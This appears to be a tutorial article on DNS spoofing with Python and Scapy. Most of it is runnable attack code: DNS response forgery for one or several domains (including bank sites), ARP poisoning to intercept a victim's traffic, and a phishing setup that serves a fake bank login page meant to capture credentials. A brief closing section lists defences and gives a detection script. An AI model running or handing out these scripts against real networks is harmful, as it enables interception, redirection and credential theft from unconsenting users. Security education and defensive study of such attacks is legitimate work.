Python for Dns Spoofing Attacks

⚠️
This article is for educational purposes only. DNS spoofing attacks are illegal without explicit permission. Always use these techniques responsibly and ethically. Unauthorized DNS spoofing can lead to severe legal consequences.

DNS spoofing, also known as DNS cache poisoning, is a type of cyber attack where an attacker manipulates the DNS resolution process to redirect users to malicious websites. In this article, we’ll explore how to use Python to perform DNS spoofing attacks, along with various techniques and tools.

Understanding DNS Spoofing

Before we dive into the code, let’s understand how DNS spoofing works:

sequenceDiagram
    participant User
    participant Attacker
    participant DNS Server
    User->>DNS Server: DNS Query
    Attacker->>DNS Server: Spoofed DNS Response
    DNS Server->>User: Spoofed IP Address
    User->>Attacker: Connects to malicious site
  1. The attacker intercepts DNS queries
  2. They send a forged response before the legitimate DNS server
  3. The victim’s computer caches the fake DNS record
  4. Future requests are directed to the attacker’s IP address

Basic DNS Spoofing with Scapy

Let’s start with a simple DNS spoofing script using Scapy:

dns_spoof.py
from scapy.all import *
import concurrent.futures

def dns_spoof(pkt):
    if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport, sport=53)
        dns = DNS(id=pkt[DNS].id,
                  qr=1, aa=1, qd=pkt[DNS].qd,
                  an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata="192.168.1.100"))
        spoofed_pkt = ip/udp/dns
        send(spoofed_pkt, verbose=0)
        print(f"Spoofed DNS response sent to {pkt[IP].src}")

def sniff_and_spoof():
    sniff(filter="udp port 53", prn=dns_spoof)

if __name__ == "__main__":
    with concurrent.futures.ThreadPoolExecutor() as executor:
        executor.submit(sniff_and_spoof)

This script does the following:

  1. Sniffs for DNS queries (UDP port 53)
  2. Checks if the query is for ‘www.example.com
  3. Crafts a spoofed DNS response with a fake IP (192.168.1.100)
  4. Sends the spoofed packet back to the victim
  5. Uses a ThreadPoolExecutor for improved performance

Advanced DNS Spoofing Techniques

1. Multiple Domain Spoofing

Let’s extend our script to spoof multiple domains:

multi_domain_spoof.py
from scapy.all import *
import concurrent.futures

domains_to_spoof = {
    b'www.example.com': '192.168.1.100',
    b'www.bank.com': '192.168.1.101',
    b'www.social.com': '192.168.1.102'
}

def dns_spoof(pkt):
    if (DNS in pkt and pkt[DNS].qd.qname in domains_to_spoof):
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport, sport=53)
        dns = DNS(id=pkt[DNS].id,
                  qr=1, aa=1, qd=pkt[DNS].qd,
                  an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=domains_to_spoof[pkt[DNS].qd.qname]))
        spoofed_pkt = ip/udp/dns
        send(spoofed_pkt, verbose=0)
        print(f"Spoofed DNS response sent for {pkt[DNS].qd.qname.decode('utf-8')} to {pkt[IP].src}")

def sniff_and_spoof():
    sniff(filter="udp port 53", prn=dns_spoof)

if __name__ == "__main__":
    with concurrent.futures.ThreadPoolExecutor() as executor:
        executor.submit(sniff_and_spoof)

2. DNS Spoofing with ARP Poisoning

To make our attack more effective, we can combine it with ARP poisoning:

arp_dns_spoof.py
from scapy.all import *
import concurrent.futures

victim_ip = "192.168.1.2"
gateway_ip = "192.168.1.1"
interface = "eth0"

def arp_poison():
    while True:
        send(ARP(op=2, pdst=victim_ip, psrc=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff"), iface=interface)
        send(ARP(op=2, pdst=gateway_ip, psrc=victim_ip, hwdst="ff:ff:ff:ff:ff:ff"), iface=interface)
        time.sleep(2)

def dns_spoof(pkt):
    if (DNS in pkt and pkt[DNS].qd.qname == b'www.example.com'):
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport, sport=53)
        dns = DNS(id=pkt[DNS].id,
                  qr=1, aa=1, qd=pkt[DNS].qd,
                  an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata="192.168.1.100"))
        spoofed_pkt = ip/udp/dns
        send(spoofed_pkt, verbose=0)
        print(f"Spoofed DNS response sent to {pkt[IP].src}")

def sniff_and_spoof():
    sniff(filter=f"udp port 53 and ip src {victim_ip}", prn=dns_spoof, iface=interface)

if __name__ == "__main__":
    with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
        executor.submit(arp_poison)
        executor.submit(sniff_and_spoof)

This script performs both ARP poisoning and DNS spoofing simultaneously using a ThreadPoolExecutor.

Real-life Example: Phishing Attack Simulation

Let’s simulate a phishing attack by spoofing a popular banking website:

phishing_simulation.py
from scapy.all import *
import concurrent.futures
from http.server import HTTPServer, SimpleHTTPRequestHandler
import threading

# Phishing site configuration
PHISHING_DOMAIN = b'www.mybank.com'
PHISHING_IP = '192.168.1.100'
PHISHING_PORT = 80

# Phishing web server
class PhishingHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        with open('fake_bank_login.html', 'rb') as file:
            self.wfile.write(file.read())

def start_phishing_server():
    server = HTTPServer(('', PHISHING_PORT), PhishingHandler)
    server.serve_forever()

# DNS Spoofing
def dns_spoof(pkt):
    if (DNS in pkt and pkt[DNS].qd.qname == PHISHING_DOMAIN):
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport, sport=53)
        dns = DNS(id=pkt[DNS].id,
                  qr=1, aa=1, qd=pkt[DNS].qd,
                  an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=PHISHING_IP))
        spoofed_pkt = ip/udp/dns
        send(spoofed_pkt, verbose=0)
        print(f"Spoofed DNS response sent for {PHISHING_DOMAIN.decode()} to {pkt[IP].src}")

def sniff_and_spoof():
    sniff(filter="udp port 53", prn=dns_spoof)

if __name__ == "__main__":
    # Start phishing web server
    threading.Thread(target=start_phishing_server, daemon=True).start()

    # Start DNS spoofing
    with concurrent.futures.ThreadPoolExecutor() as executor:
        executor.submit(sniff_and_spoof)

This script does the following:

  1. Sets up a simple HTTP server to host a fake banking login page
  2. Performs DNS spoofing to redirect requests for ‘www.mybank.com’ to our phishing server
  3. Uses threading to run both the web server and DNS spoofing simultaneously

To complete this setup, you’d need to create a fake_bank_login.html file with a convincing login form that captures user credentials.

Detecting and Preventing DNS Spoofing

To protect against DNS spoofing, you can implement the following measures:

  1. Use DNSSEC (Domain Name System Security Extensions)
  2. Implement DNS over HTTPS (DoH) or DNS over TLS (DoT)
  3. Regularly flush DNS cache
  4. Use a reliable DNS server

Here’s a Python script to detect potential DNS spoofing using Scapy:

detect_dns_spoof.py
from scapy.all import *
import concurrent.futures

def detect_dns_spoof(pkt):
    if DNS in pkt and pkt.haslayer(DNSRR):
        if pkt[DNS].qr == 1 and pkt[DNS].ancount > 0:
            qname = pkt[DNSQR].qname.decode()
            rdata = pkt[DNSRR].rdata
            print(f"Potential DNS spoofing detected:")
            print(f"Source IP: {pkt[IP].src}")
            print(f"Domain: {qname}")
            print(f"Resolved IP: {rdata}")

            # Additional checks
            if qname in known_domains and rdata != known_domains[qname]:
                print(f"WARNING: Unexpected IP for {qname}")
            print("---")

def sniff_dns():
    sniff(filter="udp port 53", prn=detect_dns_spoof)

if __name__ == "__main__":
    known_domains = {
        "www.example.com": "93.184.216.34",
        "www.google.com": "172.217.167.36"
    }

    with concurrent.futures.ThreadPoolExecutor() as executor:
        executor.submit(sniff_dns)

This script monitors DNS responses and alerts when it detects potential spoofing attempts. It also checks against a list of known domain-IP pairs for additional verification.

Conclusion

DNS spoofing is a powerful technique that can be used for both malicious purposes and penetration testing. As ethical hackers and security professionals, it’s crucial to understand these attacks to better defend against them.

Remember to always obtain proper authorization before performing any security testing or using these techniques in real-world scenarios.

ℹ️